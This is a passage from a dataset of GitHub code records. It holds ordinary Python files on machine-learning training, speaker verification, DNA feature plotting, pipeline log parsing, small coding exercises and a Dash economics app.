hyper_parameters['j'])\n    print('  done')\n\n    # Loads MIL model, optimizer and loss function\n    print('Loading SparseConvMIL model')\n    sparseconvmil_model = instantiate_sparseconvmil(hyper_parameters['tile_embedder'],\n                                                    hyper_parameters['tile_embedder_pretrained'],\n                                                    hyper_parameters['sparse_conv_n_channels_conv1'],\n                                                    hyper_parameters['sparse_conv_n_channels_conv2'],\n                                                    3, 3, hyper_parameters['sparse_map_downsample'],\n                                                    hyper_parameters['wsi_embedding_classifier_n_inner_neurons'],\n                                                    n_classes)\n    sparseconvmil_model = torch.nn.DataParallel(sparseconvmil_model)\n    print('  done')\n    optimizer = torch.optim.Adam(sparseconvmil_model.parameters(), hyper_parameters['lr'],\n                                 weight_decay=hyper_parameters['reg'])\n    loss_function = torch.nn.CrossEntropyLoss()\n\n    # Loop through all epochs\n    print('Starting training...')\n    for epoch in range(hyper_parameters[\"epochs\"]):\n        loss, bac = perform_epoch(sparseconvmil_model, dataloader, optimizer, loss_function)\n        print('Epoch', f'{epoch:3d}/{hyper_parameters[\"epochs\"]}', f'    loss={loss:.3f}', f'    bac={bac:.3f}')\n    print('  done')\n\nif __name__ == '__main__':\n    main(_define_args())\n","repo_name":"MarvinLer/SparseConvMIL","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":6715,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"16"}
+{"seq_id":"15698571188","text":"from __future__ import print_function\n\ndef main():\n    #static teks\n    statteks = \"bandung jakarta medan bandung sumatera medan kalimantan medan papua aceh timika kediri kediri\"\n    #spit teks\n    teksSplit = statteks.split(\" \")\n    #cetak teks yang telah di split\n    print(\"split: \", teksSplit)\n    #inisiasi array teks unik python\n    teksunik = []\n    #for loop python\n    for a in teksSplit:\n        if a not in teksunik:\n            teksunik.append(a)\n    \n    print(\"teksunik: \", teksunik)\n\n    #array untuk menghitung jumlah teks didalam kalimat\n    tekscount = []\n    for b in teksunik:\n        hitung = 0\n        for c in teksSplit:\n            if b == c:\n                hitung += 1\n        tekscount.append(hitung)\n    print(tekscount)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"dhanyn10/python","sub_path":"simple-bow.py","file_name":"simple-bow.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73409548167","text":"import os\nimport math\nimport torch\nimport random\nimport pathlib\nfrom pathlib import Path\nfrom argparse import Namespace\n#-------------#\nimport torch\nimport numpy as np\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import pad_sequence\nfrom torch.utils.data import DataLoader, DistributedSampler\nfrom torch.distributed import is_initialized, get_rank, get_world_size\n#-------------#\nfrom s3prl.utility.helper import is_leader_process\nfrom .model import Model, AMSoftmaxLoss, AAMSoftmaxLoss, SoftmaxLoss, UtteranceExtractor\nfrom .dataset import SpeakerVerifi_train, SpeakerVerifi_test\nfrom .utils import EER\n\n\nclass DownstreamExpert(nn.Module):\n    \"\"\"\n    Used to handle downstream-specific operations\n    eg. downstream forward, metric computation, contents to log\n\n    Note 1.\n        dataloaders should output in the following format:\n\n        [[wav1, wav2, ...], your_other_contents, ...]\n\n        where wav1, wav2 ... are in variable length\n        and wav1 is in torch.FloatTensor\n    \"\"\"\n\n    def __init__(self, upstream_dim, downstream_expert, expdir, **kwargs):\n        super(DownstreamExpert, self).__init__()\n        # config\n        self.upstream_dim = upstream_dim\n        self.downstream = downstream_expert\n        self.datarc = downstream_expert['datarc']\n        self.modelrc = downstream_expert['modelrc']\n        self.expdir = expdir\n\n        # dataset\n        train_file_path = Path(self.datarc['file_path']) / \"dev\" / \"wav\"\n        test_file_path = Path(self.datarc['file_path']) / \"test\" / \"wav\"\n        \n        train_config = {\n            \"vad_config\": self.datarc['vad_config'],\n            \"file_path\": [train_file_path],\n            \"key_list\": [\"Voxceleb1\"],\n            \"meta_data\": self.datarc['train_meta_data'],\n            \"max_timestep\": self.datarc[\"max_timestep\"],\n        }\n        self.train_dataset = SpeakerVerifi_train(**train_config)\n\n        dev_config = {\n            \"vad_config\": self.datarc['vad_config'],\n            \"file_path\": train_file_path, \n            \"meta_data\": self.datarc['dev_meta_data']\n        }        \n        self.dev_dataset = SpeakerVerifi_test(**dev_config)\n\n        test_config = {\n            \"vad_config\": self.datarc['vad_config'],\n            \"file_path\": test_file_path, \n            \"meta_data\": self.datarc['test_meta_data']\n        }\n        self.test_dataset = SpeakerVerifi_test(**test_config)\n\n        # module\n        self.connector = nn.Linear(self.upstream_dim, self.modelrc['input_dim'])\n\n        # downstream model\n        agg_dim = self.modelrc[\"module_config\"][self.modelrc['module']].get(\n            \"agg_dim\",\n            self.modelrc['input_dim']\n        )\n        \n        ModelConfig = {\n            \"input_dim\": self.modelrc['input_dim'],\n            \"agg_dim\": agg_dim,\n            \"agg_module_name\": self.modelrc['agg_module'],\n            \"module_name\": self.modelrc['module'], \n            \"hparams\": self.modelrc[\"module_config\"][self.modelrc['module']],\n            \"utterance_module_name\": self.modelrc[\"utter_module\"]\n        }\n        # downstream model extractor include aggregation module\n        self.model = Model(**ModelConfig)\n\n\n        # SoftmaxLoss or AMSoftmaxLoss\n        objective_config = {\n            \"speaker_num\": self.train_dataset.speaker_num, \n            \"hidden_dim\": self.modelrc['input_dim'], \n            **self.modelrc['LossConfig'][self.modelrc['ObjectiveLoss']]\n        }\n\n        self.objective = eval(self.modelrc['ObjectiveLoss'])(**objective_config)\n        # utils\n        self.score_fn  = nn.CosineSimilarity(dim=-1)\n        self.eval_metric = EER\n        self.register_buffer('best_score', torch.ones(1) * 100)\n\n    # Interface\n    def get_dataloader(self, mode):\n        \"\"\"\n        Args:\n            mode: string\n                'train', 'dev' or 'test'\n\n        Return:\n            a torch.utils.data.DataLoader returning each batch in the format of:\n\n            [wav1, wav2, ...], your_other_contents1, your_other_contents2, ...\n\n            where wav1, wav2 ... are in variable length\n            each wav is torch.FloatTensor in cpu with:\n                1. dim() == 1\n                2. sample_rate == 16000\n                3. directly loaded by torchaudio\n        \"\"\"\n\n        if mode == 'train':\n            return self._get_train_dataloader(self.train_dataset)            \n        elif mode == 'dev':\n            return self._get_eval_dataloader(self.dev_dataset)\n        elif mode == 'test':\n            return self._get_eval_dataloader(self.test_dataset)\n\n    def _get_train_dataloader(self, dataset):\n        sampler = DistributedSampler(dataset) if is_initialized() else None\n        return DataLoader(\n            dataset,\n            batch_size=self.datarc['train_batch_size'], \n            shuffle=(sampler is None),\n            sampler=sampler,\n            num_workers=self.datarc['num_workers'],\n            collate_fn=dataset.collate_fn\n        )\n\n    def _get_eval_dataloader(self, dataset):\n        return DataLoader(\n            dataset, batch_size=self.datarc['eval_batch_size'],\n            shuffle=False, num_workers=self.datarc['num_workers'],\n            collate_fn=dataset.collate_fn\n        )\n\n    # Interface\n    def get_train_dataloader(self):\n        return self._get_train_dataloader(self.train_dataset)\n\n    # Interface\n    def get_dev_dataloader(self):\n        return self._get_eval_dataloader(self.dev_dataset)\n\n    # Interface\n    def get_test_dataloader(self):\n        return self._get_eval_dataloader(self.test_dataset)\n\n    # Interface\n    def forward(self, mode, features, utter_idx, labels=None, records=None, **kwargs):\n        \"\"\"\n        Args:\n            features:\n                the features extracted by upstream\n                put in the device assigned by command-line args\n\n            labels:\n                the speaker labels\n\n            records:\n                defaultdict(list), by appending scalars into records,\n                these scalars will be averaged and logged on Tensorboard\n\n            logger:\n                Tensorboard SummaryWriter, given here for logging/debugging\n                convenience, please use \"self.downstream/your_content_name\" as key\n                name to log your customized contents\n\n            global_step:\n                global_step in runner, which is helpful for Tensorboard logging\n\n        Return:\n            loss:\n                the loss to be optimized, should not be detached\n        \"\"\"\n\n        features_pad = pad_sequence(features, batch_first=True)\n        \n        if self.modelrc['module'] == \"XVector\":\n            # TDNN layers in XVector will decrease the total sequence length by fixed 14\n            attention_mask = [torch.ones((feature.shape[0] - 14)) for feature in features]\n        else:\n            attention_mask = [torch.ones((feature.shape[0])) for feature in features]\n\n        attention_mask_pad = pad_sequence(attention_mask,batch_first=True)\n        attention_mask_pad = (1.0 - attention_mask_pad) * -100000.0\n\n        features_pad = self.connector(features_pad)\n\n        if mode == 'train':\n            agg_vec = self.model(features_pad, attention_mask_pad.cuda())\n            labels = torch.LongTensor(labels).to(features_pad.device)\n            loss = self.objective(agg_vec, labels)\n            records['loss'].append(loss.item())\n            return loss\n        \n        elif mode in ['dev', 'test']:\n            agg_vec = self.model.inference(features_pad, attention_mask_pad.cuda())\n            agg_vec = torch.nn.functional.normalize(agg_vec,dim=-1)\n            utt_name = utter_idx\n            \n            for idx in range(len(agg_vec)):\n                records[utt_name[idx]] = agg_vec[idx].cpu().detach()\n\n            return torch.tensor(0)\n\n    # interface\n    def log_records(self, mode, records, logger, global_step, **kwargs):\n        \"\"\"\n        Args:\n            records:\n                defaultdict(list), contents already appended\n\n            logger:\n                Tensorboard SummaryWriter\n                please use f'{prefix}your_content_name' as key name\n                to log your customized contents\n\n            prefix:\n                used to indicate downstream and train/test on Tensorboard\n                eg. 'phone/train-'\n\n            global_step:\n                global_step in runner, which is helpful for Tensorboard logging\n        \"\"\"\n        save_names = []\n\n        if mode == 'train':\n            loss = torch.FloatTensor(records['loss']).mean().item()\n            logger.add_scalar(f'sv-voxceleb1/{mode}-loss', loss, global_step=global_step)\n            print(f'sv-voxceleb1/{mode}-loss: {loss}')\n\n        elif mode in ['dev', 'test']:\n            trials = self.test_dataset.pair_table\n            labels = []\n            scores = []\n            for label, name1, name2 in trials:\n                labels.append(label)\n                score = self.score_fn(records[name1], records[name2]).numpy()\n                scores.append(score)\n            eer, *others = self.eval_metric(np.array(labels, dtype=int), np.array(scores))\n            logger.add_scalar(f'sv-voxceleb1/{mode}-EER', eer, global_step=global_step)\n            print(f'sv-voxceleb1/{mode}-EER: {eer}')\n\n            if eer < self.best_score and mode == 'dev':\n                self.best_score = torch.ones(1) * eer\n                save_names.append(f'{mode}-best.ckpt')\n\n            with open(Path(self.expdir) / f\"{mode}_predict.txt\", \"w\") as file:\n                line = [f\"{name} {score}\\n\" for name, score in zip(records[\"pair_names\"], records[\"scores\"])]\n                file.writelines(line)\n\n            with open(Path(self.expdir) / f\"{mode}_truth.txt\", \"w\") as file:\n                line = [f\"{name} {score}\\n\" for name, score in zip(records[\"pair_names\"], records[\"labels\"])]\n                file.writelines(line)\n\n        return save_names\n\n    def separate_data(self, agg_vec):\n        assert len(agg_vec) % 2 == 0\n        total_num = len(agg_vec) // 2\n        feature1 = agg_vec[:total_num]\n        feature2 = agg_vec[total_num:]\n        return feature1, feature2\n","repo_name":"s3prl/s3prl","sub_path":"s3prl/downstream/sv_voxceleb1/expert.py","file_name":"expert.py","file_ext":"py","file_size_in_byte":10059,"program_lang":"python","lang":"en","doc_type":"code","stars":1943,"dataset":"github-code","pt":"16"}
+{"seq_id":"8541019006","text":"import urllib\nfrom io import StringIO\nfrom dna_features_viewer import BiopythonTranslator\n\n# DEFINE FEATURES ASPECTS\n\n\ndef features_properties(f):\n    \"\"\"Mutations get a red label, other features get a pastel color.\"\"\"\n    label = None\n    if f.type == \"Mutagenesis\":\n        label = f.qualifiers[\"Note\"][0]\n    color = {\n        \"Mutagenesis\": \"firebrick\",\n        \"Active site\": \"yellow\",\n        \"Beta strand\": \"lightyellow\",\n        \"Chain\": \"lightcyan\",\n        \"Helix\": \"honeydew\",\n        \"Initiator methionine\": \"white\",\n        \"Metal binding\": \"lightsteelblue\",\n        \"Turn\": \"moccasin\",\n    }.get(f.type, \"white\")\n    return dict(color=color, label=label)\n\n\n# GET THE RECORD FROM UNIPROT\n\nresponse = urllib.request.urlopen(\"https://www.uniprot.org/uniprot/P0A7B8.gff\")\nrecord_file = StringIO(response.read().decode())\n\n# TRANSLATE AND PLOT THE RECORD\n\ntranslator = BiopythonTranslator(features_properties=features_properties)\ngraphic_record = translator.translate_record(record_file)\nax, _ = graphic_record.plot(\n    figure_width=15, max_label_length=100, elevate_outline_annotations=True,\n)\nax.set_title(\"Mutation effects in P0A7B8\", fontweight=\"bold\", fontsize=16)\nax.figure.savefig(\"gff_record_from_the_web.png\", bbox_inches=\"tight\")\n","repo_name":"Edinburgh-Genome-Foundry/DnaFeaturesViewer","sub_path":"examples/gff_record_from_the_web.py","file_name":"gff_record_from_the_web.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":508,"dataset":"github-code","pt":"16"}
+{"seq_id":"43374291686","text":"\"\"\"\nGiven a sorted list of integers, square the elements and give the output in sorted order.\nFor example, given [-9, -2, 0, 2, 3], return [0, 4, 4, 9, 81].\nsteps:\nfind the index of the lowest positive #.\nfrom there interate left and right comparing the results of both side and placing them in sorted order\n\"\"\"\nimport math\n\ndef square(x):\n    return x * x\n\ndef solution(my_list):\n    # find the lowest positive, we could use binary search too\n    biggest_positive = float('inf') \n    idx = 0 \n    for i, val in enumerate(my_list):\n        if val >= 0 and val < biggest_positive:\n            biggest_positive = val\n            idx = i\n            print(idx)\n\n    if idx == 0:\n        return my_list\n\n    new_list = []\n    k = 0\n    i = idx\n    j = idx - 1\n    nsquare = square(my_list[j])\n    psquare = square(my_list[i])\n    while k < len(my_list):\n\n        print('j ==> ', j)\n        print('i ==> ', i)\n\n\n        if psquare < nsquare:\n            new_list.append(psquare)\n            i += 1\n\n        elif nsquare < psquare:\n            new_list.append(nsquare)\n            j -= 1\n\n        else:\n            new_list.append(psquare)\n            new_list.append(nsquare)\n            i += 1\n            j -= 1\n            k += 1\n\n        if i+1 >= len(my_list):\n            #i = 1\n            psquare = float('inf')\n        else:\n            nsquare = square(my_list[j])\n\n        if j - 1 < 0:\n            #j += 1\n            nsquare = -1 * float('inf')\n        else:\n            psquare = square(my_list[i])\n\n        k += 1\n\n    return new_list\n\nprint(solution( [-9, -2, 0, 2, 3]))\n","repo_name":"uchenna-j-edeh/dailly_problems","sub_path":"arrays_manipulations_algorithms/square_outputs_sorted_order.py","file_name":"square_outputs_sorted_order.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5889166086","text":"import abc, contextlib, csv, datetime, more_itertools, re\nfrom ..utilities.dataclasses import MyDataClass\nfrom ..utilities.miscfileio import field_size_limit_context, rm_missing_ok\nfrom ..utilities.version.git import GitCommit, thisrepo\nfrom .astropath_logging import MyLogger, printlogger, ThingWithLogger\n\nclass MRODebuggingMetaClass(abc.ABCMeta):\n  def __new__(cls, name, bases, dct, **kwargs):\n    try:\n      return super().__new__(cls, name, bases, dct, **kwargs)\n    except TypeError as e:\n      if \"Cannot create a consistent\" in str(e):\n        logger = printlogger(\"mro\")\n        logger.critical(\"========================\")\n        logger.critical(f\"MROs of bases of {name}:\")\n        for base in bases:\n          logger.critical(\"------------------------\")\n          for c in base.__mro__:\n            logger.critical(c.__name__)\n        logger.critical(\"************************\")\n        logger.critical(\"filtered for the bad ones:\")\n        for base in bases:\n          bad = [c for c in base.__mro__ if re.search(rf\"\\b{c.__name__}\\b\", str(e))]\n          if len(bad) < 2: continue\n          logger.critical(\"------------------------\")\n          logger.critical(base.__name__)\n          for c in bad:\n            logger.critical(c.__name__)\n        logger.critical(\"========================\")\n      raise\n\nclass ThingWithRoots(abc.ABC, metaclass=MRODebuggingMetaClass):\n  @property\n  def rootnames(self):\n    return set()\n  @property\n  def rootkwargs(self):\n    return {name: getattr(self, name) for name in self.rootnames}\n\nclass ThingWithWorkflowKwargs(abc.ABC, metaclass=MRODebuggingMetaClass):\n  @property\n  @abc.abstractmethod\n  def workflowkwargs(self):\n    return {}\n\nclass WorkflowDependency(ThingWithRoots, ThingWithLogger, ThingWithWorkflowKwargs):\n  @property\n  def workflowkwargs(self):\n    return self.rootkwargs\n\n  @classmethod\n  @abc.abstractmethod\n  def getoutputfiles(cls, **workflowkwargs):\n    \"\"\"\n    Output files that this step is supposed to produce\n    \"\"\"\n    return []\n\n  @classmethod\n  def getmissingoutputfiles(cls, **workflowkwargs):\n    \"\"\"\n    Output files that were supposed to be produced but are missing\n    \"\"\"\n    return [_ for _ in cls.getoutputfiles(**workflowkwargs) if not _.exists()]\n\n  @property\n  def outputfiles(self):\n    \"\"\"\n    Output files that this step is supposed to produce\n    \"\"\"\n    return self.getoutputfiles(**self.workflowkwargs)\n\n  @property\n  def missingoutputfiles(self):\n    \"\"\"\n    Output files that were supposed to be produced but are missing\n    \"\"\"\n    return self.getmissingoutputfiles(**self.workflowkwargs)\n\n  @classmethod\n  def getworkinprogressfiles(cls, **workflowkwargs):\n    \"\"\"\n    Files that are saved from one run to the next so that we can\n    resume where we left off.  These are removed by cleanup()\n    \"\"\"\n    return []\n\n  @property\n  def workinprogressfiles(self):\n    \"\"\"\n    Files that are saved from one run to the next so that we can\n    resume where we left off.  These are removed by cleanup()\n    \"\"\"\n    return list(self.getworkinprogressfiles(**self.workflowkwargs))\n\n  def cleanup(self):\n    printed = False\n    canprint = False\n    for filename in self.workinprogressfiles:\n      canprint = True\n      if not printed and filename.exists():\n        if not self.uselogfiles:\n          raise RuntimeError(\"Can't clean up if not using log files for tracking\")\n        self.logger.info(\"Cleaning up files from previous runs\")\n        printed = True\n      rm_missing_ok(filename)\n    if printed:\n      self.logger.info(\"Finished cleaning up\")\n    elif canprint:\n      self.logger.info(\"Clean start\")\n\n  @classmethod\n  @abc.abstractmethod\n  def getlogfile(cls, *, logroot, **workflowkwargs):\n    pass\n  @classmethod\n  @abc.abstractmethod\n  def usegloballogger(cls): pass\n\n  @classmethod\n  @abc.abstractmethod\n  def logmodule(cls):\n    \"name of the log files for this class (e.g. align)\"\n  @classmethod\n  @abc.abstractmethod\n  def logstartregex(cls): pass\n  @classmethod\n  @abc.abstractmethod\n  def logendregex(cls): pass\n\n  @classmethod\n  def getrunstatus(cls, *, SlideID, **workflowkwargs):\n    workflowkwargs[\"SlideID\"] = SlideID\n    return SampleRunStatus.fromlog(\n      SlideID=SlideID,\n      samplelog=cls.getlogfile(**workflowkwargs),\n      module=cls.logmodule(),\n      missingfiles=list(cls.getmissingoutputfiles(**workflowkwargs)),\n      workinprogressfiles=list(cls.getworkinprogressfiles(**workflowkwargs)),\n      startregex=cls.logstartregex(),\n      endregex=cls.logendregex(),\n    )\n\n  def runstatus(self, **kwargs):\n    \"\"\"\n    returns a SampleRunStatus object that indicates whether\n    the sample ran successfully or not, and information about\n    the failure, if any.\n    \"\"\"\n    return self.getrunstatus(**self.workflowkwargs, **kwargs)\n\n  @property\n  def rootnames(self):\n    return {\"logroot\", *super().rootnames}\n\n  @property\n  @abc.abstractmethod\n  def logroot(self):\n    pass\n\n  @abc.abstractmethod\n  def run(self):\n    pass\n\n  @abc.abstractmethod\n  def joblock(self):\n    pass\n\n  @abc.abstractmethod\n  def workflowdependencies(self, **kwargs):\n    return []\n\nclass WorkflowDependencySlideID(WorkflowDependency):\n  @property\n  def workflowkwargs(self):\n    return {\n      **super().workflowkwargs,\n      \"SlideID\": self.SlideID,\n    }\n\n  @property\n  @abc.abstractmethod\n  def SlideID(self): pass\n\n  @classmethod\n  def getlogfile(cls, *, SlideID, logroot, **otherworkflowkwargs):\n    return logroot/SlideID/\"logfiles\"/f\"{SlideID}-{cls.logmodule()}.log\"\n\nclass ExternalDependency(WorkflowDependencySlideID):\n  def __init__(self, SlideID, logroot):\n    self.__SlideID = SlideID\n    self.__logroot = logroot\n  @property\n  def SlideID(self): return self.__SlideID\n  @property\n  def logroot(self): return self.__logroot\n  @classmethod\n  def getoutputfiles(cls, SlideID, **workflowkwargs): return super().getoutputfiles(SlideID, **workflowkwargs)\n\ndef makeexternaldependency(name, startregex, endregex):\n  \"\"\"\n  for dependencies that don't run through this package\n  \"\"\"\n  class dependency(ExternalDependency):\n    @classmethod\n    def logmodule(cls): return name\n    @classmethod\n    def logstartregex(cls): return startregex\n    @classmethod\n    def logendregex(cls): return endregex\n  dependency.__name__ = name\n  return dependency\n\nShredXML = makeexternaldependency(\"ShredXML\", \"shredxml started\", \"shredxml finished\")\n\nclass SampleRunStatus(MyDataClass):\n  \"\"\"\n  Stores information about if a sample ran successfully.\n  started: did it start running?\n  ended: did it finish running?\n  error: error traceback as a string, if any\n  previousrun: SampleRunStatus for the previous run of this sample, if any\n  missingfiles: files that are supposed to be in the output, but are missing\n  gitcommit: the commit at which it was run\n  localedits: were there local edits when it was run?\n  lastattemptedcleanup: SampleRunStatus for the last time this sample tried\n                        to clean up (whether it succeeded or not)\n  lastcleanstart: SampleRunStatus for the last time this sample started fresh\n                  (either the first run in the log or the last time cleanup()\n                  was run)\n  \"\"\"\n  module: str\n  SlideID: str\n  started: datetime.datetime\n  ended: datetime.datetime\n  error: str\n  previousrun: \"SampleRunStatus\"\n  missingfiles: list\n  gitcommit: GitCommit\n  localedits: bool\n  lastattemptedcleanup: \"SampleRunStatus\"\n  lastcleanstart: \"SampleRunStatus\"\n\n  def __post_init__(self):\n    if self.lastattemptedcleanup is None: self.lastattemptedcleanup = self\n    if self.lastcleanstart is None: self.lastcleanstart = self\n  def __bool__(self):\n    \"\"\"\n    True if the sample started and ended with no error and all output files are present\n    \"\"\"\n    return bool(self.started and self.ended and self.error is None and not self.missingfiles)\n  @property\n  def nruns(self):\n    \"\"\"\n    How many times has this sample been run?\n    \"\"\"\n    if self.previousrun is None:\n      return 1 if self.started else 0\n    return self.previousrun.nruns + 1\n\n  @classmethod\n  def fromlog(cls, **kwargs):\n    try:\n      return cls._fromlog(**kwargs)\n    except Exception as e:\n      return e\n\n  @classmethod\n  def _fromlog(cls, *, samplelog, SlideID, module, missingfiles, workinprogressfiles, startregex, endregex):\n    \"\"\"\n    Create a SampleRunStatus object by reading the log file.\n    samplelog: from CohortFolder/SlideID/logfiles/SlideID-module.log\n               (not CohortFolder/logfiles/module.log)\n    module: the module being run\n    \"\"\"\n    result = None\n    started = None\n    ended = None\n    previousrun = None\n    error = None\n    gitcommit = None\n    localedits = False\n    lastattemptedcleanup = None\n    lastcleanstart = None\n    with contextlib.ExitStack() as stack:\n      stack.enter_context(field_size_limit_context(100000000))\n      try:\n        f = stack.enter_context(open(samplelog))\n      except IOError:\n        return cls(started=None, ended=None, missingfiles=missingfiles, module=module, gitcommit=None, lastattemptedcleanup=None, lastcleanstart=None, localedits=False, error=None, previousrun=None, SlideID=SlideID)\n      else:\n        reader = more_itertools.peekable(csv.DictReader(f, fieldnames=(\"Project\", \"Cohort\", \"SlideID\", \"message\", \"time\"), delimiter=\";\"))\n        for row in reader:\n          if row[\"SlideID\"] != SlideID:\n            continue\n          elif not row[\"message\"]:\n            continue\n          else:\n            startmatch = re.match(startregex, row[\"message\"])\n            endmatch = re.match(endregex, row[\"message\"])\n\n            if startmatch:\n              if started is not None:\n                result = cls(started=started, ended=ended, error=error, previousrun=previousrun, missingfiles=missingfiles, module=module, gitcommit=gitcommit, localedits=localedits, lastattemptedcleanup=lastattemptedcleanup, lastcleanstart=lastcleanstart, SlideID=SlideID)\n\n              started = datetime.datetime.strptime(row[\"time\"], MyLogger.dateformat)\n              error = None\n              ended = None\n              previousrun = result\n              result = None\n              if previousrun is not None:\n                lastcleanstart = previousrun.lastcleanstart\n                lastattemptedcleanup = previousrun.lastattemptedcleanup\n              if not any(_.exists() for _ in workinprogressfiles):\n                lastcleanstart = lastattemptedcleanup = None\n\n              try:\n                gitcommit = startmatch.group(\"commit\")\n                if gitcommit is None: gitcommit = \"v\"+startmatch.group(\"version\")\n                if gitcommit is not None: gitcommit = thisrepo.getcommit(gitcommit)\n                localedits = bool(startmatch.group(\"date\"))\n              except ValueError:\n                gitcommit = None\n\n            elif row[\"message\"].startswith(\"ERROR:\"):\n              error = reader.peek(default={\"message\": \"\"})[\"message\"]\n              if error and error[0] == \"[\" and error[-1] == \"]\":\n                error = \"\".join(eval(error))\n              else:\n                error = row[\"message\"]\n            elif \"Cleaning up files\" in row[\"message\"]:\n              lastattemptedcleanup = None\n            elif \"Finished cleaning up\" in row[\"message\"]:\n              lastcleanstart = None #gets assigned to self in __post_init__\n            elif \"Clean start\" in row[\"message\"]:\n              lastattemptedcleanup = lastcleanstart = None\n            elif endmatch:\n              ended = datetime.datetime.strptime(row[\"time\"], MyLogger.dateformat)\n              result = cls(started=started, ended=ended, error=error, previousrun=previousrun, missingfiles=missingfiles, module=module, gitcommit=gitcommit, localedits=localedits, lastattemptedcleanup=lastattemptedcleanup, lastcleanstart=lastcleanstart, SlideID=SlideID)\n              started = None\n    if result is None:\n      result = cls(started=started, ended=ended, error=error, previousrun=previousrun, missingfiles=missingfiles, module=module, gitcommit=gitcommit, localedits=localedits, lastattemptedcleanup=lastattemptedcleanup, lastcleanstart=lastcleanstart, SlideID=SlideID)\n    return result\n\n  def __str__(self):\n    if self: return f\"ran successfully in {self.ended - self.started}\"\n    if not self.started:\n      return \"did not run\"\n    elif self.error is not None:\n      return \"gave an error:\\n\\n\"+self.error\n    elif not self.ended:\n      return \"started, but did not end\"\n    elif self.missingfiles:\n      return \"ran successfully but some output files are missing: \" + \", \".join(str(_) for _ in self.missingfiles)\n    assert False, self\n\n  def __lt__(self, other):\n    if isinstance(other, GitCommit):\n      return self.gitcommit < other\n    elif isinstance(other, SampleRunStatus):\n      if other.gitcommit is None: return False\n      return self.ended < other.started and self <= other.gitcommit\n    else:\n      return NotImplemented\n  def __le__(self, other):\n    if isinstance(other, GitCommit):\n      if self.gitcommit is None: return True\n      return self.gitcommit <= other\n    elif isinstance(other, SampleRunStatus):\n      return self == other or self < other\n    else:\n      return NotImplemented\n\n  def __gt__(self, other):\n    if isinstance(other, GitCommit):\n      return self.gitcommit > other\n    elif isinstance(other, SampleRunStatus):\n      return other < self\n    else:\n      return NotImplemented\n  def __ge__(self, other):\n    if isinstance(other, GitCommit):\n      return self.gitcommit >= other\n    elif isinstance(other, SampleRunStatus):\n      return other <= self\n    else:\n      return NotImplemented\n\n  @property\n  def failedincleanup(self):\n    return self.lastattemptedcleanup != self.lastcleanstart\n","repo_name":"AstroPathJHU/AstroPathPipeline","sub_path":"astropath/shared/workflowdependency.py","file_name":"workflowdependency.py","file_ext":"py","file_size_in_byte":13622,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"16"}
+{"seq_id":"28712847495","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom gen_data import Properties, Change_Request, produce_data\nimport plotly.graph_objs as go\nfrom plotly import tools\nimport pandas as pd\nimport numpy as np\nfrom dash.dependencies import Output, Input, State\n# from werkzeug.contrib.profiler import ProfilerMiddleware\n\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\napplication = app.server\n\napp.layout = html.Div(children=[\n    html.H1(children=\"Interactive Cobb-Douglas Production Function\"),\n    dcc.Graph(\n        id='main-display'\n    ),\n    html.Div(children=[\n    html.Div(id=\"current-graph-time\", children=\"Current Time\"),\n    dcc.Slider(\n        id='graph-time-slider',\n        min=0,\n        max=100,\n        value=25,\n        step=1\n    ),\n    html.Br(),\n    html.H3(children=\"Basics\"),\n    html.Div(id=\"alpha\", children=\"alpha\"),\n    dcc.Slider(\n        id='alpha-slider',\n        min=0.01,\n        max=.99,\n        value=.33,\n        step=0.01\n    ),\n    html.Div(id=\"base-efficiency\", children=\"base efficiency\"),\n    dcc.Slider(\n        id='e-slider',\n        min=0,\n        max=10000,\n        value=1000,\n        step=100\n    ),\n    html.Div(id=\"efficiency-growth\", children=\"efficiency growth\"),\n    dcc.Slider(\n        id='g-slider',\n        min=0.00,\n        max=.5,\n        value=.02,\n        step=0.001\n    ),\n    html.Div(id=\"labor-growth\", children=\"labor growth\"),\n    dcc.Slider(\n        id='n-slider',\n        min=0.00,\n        max=.5,\n        value=.02,\n        step=0.001\n    ),\n    html.Div(id=\"savings\", children=\"savings\"),\n    dcc.Slider(\n        id='s-slider',\n        min=0.00,\n        max=.8,\n        value=.2,\n        step=0.001\n    ),\n    html.Div(id=\"depreciation\", children=\"depreciation\"),\n    dcc.Slider(\n        id='d-slider',\n        min=0.00,\n        max=.5,\n        value=.05,\n        step=0.001\n    ),\n    html.Br(),\n    html.H3(children=\"Experimental (may not update correctly)\"),\n    html.Div(id=\"delta-g\", children=\"delta g\"),\n    dcc.Slider(\n        id='delta-g-slider',\n        min=0.00,\n        max=.1,\n        value=0,\n        step=0.001\n    ),\nhtml.Div(id=\"delta-n\", children=\"delta n\"),\n    dcc.Slider(\n        id='delta-n-slider',\n        min=0.00,\n        max=.1,\n        value=0,\n        step=0.001\n    ),\nhtml.Div(id=\"delta-s\", children=\"delta s\"),\n    dcc.Slider(\n        id='delta-s-slider',\n        min=0.00,\n        max=.1,\n        value=0,\n        step=0.001\n    ),\nhtml.Div(id=\"delta-d\", children=\"delta d\"),\n    dcc.Slider(\n        id='delta-d-slider',\n        min=0.00,\n        max=.1,\n        value=0,\n        step=0.001\n    ),\n    html.Br(),\n    html.H3(children=\"Other\"),\n    html.Div(id=\"n-periods\", children=\"number of time periods\"),\n    dcc.Slider(\n        id='time-slider',\n        min=0,\n        max=100,\n        value=25,\n        step=1\n    ),\n        html.Br(),\n        html.Div(id=\"change-request\", children=\"Dynamic Change Requests\"),\n\n    dcc.Input(id='request-change', type='text', placeholder='<time period> <parameter> <new val>, <time period> <parameter> <new val>',\n              style={'width': '50%'}),\n    html.Div(id='change-request-list', children='Example: 10 n 0.06, 20 g 0.1'),\n    html.Div(id='data-value', style={'display': 'none'})], style={'margin': 100})], style={'margin':50, 'textAlign': 'center'})\n\ndefault_p = Properties(.33, 1000, 0.02, 0.02, 0.2, 0.05)\ndefault_df, _ = produce_data(default_p, 